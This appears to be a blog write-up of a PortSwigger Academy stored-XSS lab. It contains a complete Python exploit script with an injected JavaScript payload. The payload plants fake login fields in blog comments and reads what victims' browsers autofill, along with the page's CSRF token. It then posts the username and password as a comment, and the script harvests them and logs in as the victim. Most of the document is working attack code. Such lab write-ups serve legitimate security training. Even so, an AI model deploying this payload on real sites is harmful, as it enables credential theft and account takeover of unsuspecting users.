Shubham Ranpise

Back

XSS Lab 23

Stored XSS in blog comments used to capture victim username and password via forced comment submission

portswigger-labs content

Exploiting cross-site scripting to capture passwords#

This lab contains a stored cross-site scripting (XSS) vulnerability in the blog comments function. The exploit leverages XSS to force the victim’s browser to submit their username and password as a new comment (a CSRF-style approach using the victim’s own authenticated session). Because the Academy firewall blocks arbitrary external interactions, the recommended approach uses Burp Collaborator; however this exploit demonstrates an alternative that posts credentials directly to the site comments, allowing the attacker to read them from the post page and use them to log in as the victim.

How Exploit Works#

  • The blog comment field is stored and later rendered to visitors, which creates a stored XSS sink.
  • Inject HTML inputs plus JavaScript that, when a victim types their credentials (or when triggered), reads the page CSRF token and the values of username and password inputs.
  • The script submits a new comment containing username:password using fetch() with mode: 'no-cors' (so the request originates from the victim’s browser and is processed by the site).
  • The attacker polls the post page and extracts posted credentials from comment content.
  • Use captured credentials to log in as the victim and access pages like /my-account to confirm the attack and solve the lab.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import re
import sys
import time
import requests
import urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}


def check_burp():
    try:
        requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
    except Exception:
        print("[-] Burp Suite not running.")
        sys.exit(1)


def submit_payload(session, base_url, payload):
    """Submits the XSS payload to postId=4."""
    post_page = f"{base_url}/post?postId=4"
    r = session.get(post_page)
    r.raise_for_status()

    soup = BeautifulSoup(r.text, "html.parser")
    csrf = soup.find("input", {"name": "csrf"})["value"]

    print("[*] Submitting payload as comment ...")

    data = {
        "csrf": csrf,
        "postId": "4",
        "comment": payload,
        "name": "exploit",
        "email": "[email protected]",
        "website": "http://example.com",
    }
    session.post(f"{base_url}/post/comment", data=data)


def poll_for_credentials(session, base_url, timeout=30):
    """Polls the post page for captured credentials until timeout."""
    post_page = f"{base_url}/post?postId=4"
    print(f"[*] Polling post page for up to {timeout}s...")

    start = time.time()
    creds = []

    while time.time() - start < timeout:
        r = session.get(post_page)
        r.raise_for_status()

        matches = re.findall(r"([A-Za-z0-9_]+):([A-Za-z0-9_]+)", r.text)
        for m in matches:
            if m not in creds:
                creds.append(m)
                print(f"[+] Captured credentials: {m[0]}:{m[1]}")

        if creds:
            return creds
        time.sleep(2)

    print("[-] Timeout reached, no credentials captured.")
    return []


def try_login(session, base_url, username, password):
    """Attempts login with captured credentials."""
    login_url = f"{base_url}/login"
    r = session.get(login_url)
    r.raise_for_status()

    soup = BeautifulSoup(r.text, "html.parser")
    csrf = soup.find("input", {"name": "csrf"})["value"]

    data = {"csrf": csrf, "username": username, "password": password}
    resp = session.post(login_url, data=data)

    if "Your username is" in resp.text or "Log out" in resp.text:
        print(f"[+] Logged in as {username}. Checking if lab is solved...")
        check_lab(session, base_url)
        return True
    print("[-] Login failed (incorrect credentials or login flow differs).")
    return False


def check_lab(session, base_url):
    """Checks if the lab is solved."""
    resp = session.get(base_url + "/")
    if "Congratulations" in resp.text or "LAB SOLVED" in resp.text:
        print("[+] Lab solved 🎉")
        return True
    print("[-] Lab not solved.")
    return False


def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        sys.exit(1)

    base_url = sys.argv[1].rstrip("/")
    check_burp()
    print("[*] Attempting XSS on postId=4...")

    s = requests.Session()
    s.proxies = proxies
    s.verify = False

    payload = """
<script>
function hax() {
  try {
    var token = document.getElementsByName('csrf')[0].value;
    var username = document.getElementsByName('username')[0].value;
    var password = document.getElementsByName('password')[0].value;
    var data = new FormData();
    data.append('csrf', token);
    data.append('postId', 4);
    data.append('comment', username + ':' + password);
    data.append('name', 'victim');
    data.append('email', '[email protected]');
    data.append('website', 'http://www.zenshell.ninja');
    fetch('/post/comment', { method: 'POST', mode: 'no-cors', body: data });
  } catch(e) {}
}
</script>
<input type="text" name="username">
<input type="password" name="password" onchange="hax()">
"""

    submit_payload(s, base_url, payload)
    creds = poll_for_credentials(s, base_url, timeout=30)

    if not creds:
        print("[-] No credentials found. Exiting.")
        return

    for username, password in creds:
        print(f"[*] Trying next captured credential: {username}:{password}")
        if try_login(s, base_url, username, password):
            print("[+] Exploit finished: lab solved or credentials used.")
            return

    print("[-] Exploit finished without success.")


if __name__ == "__main__":
    main()
python

See more portswigger-labs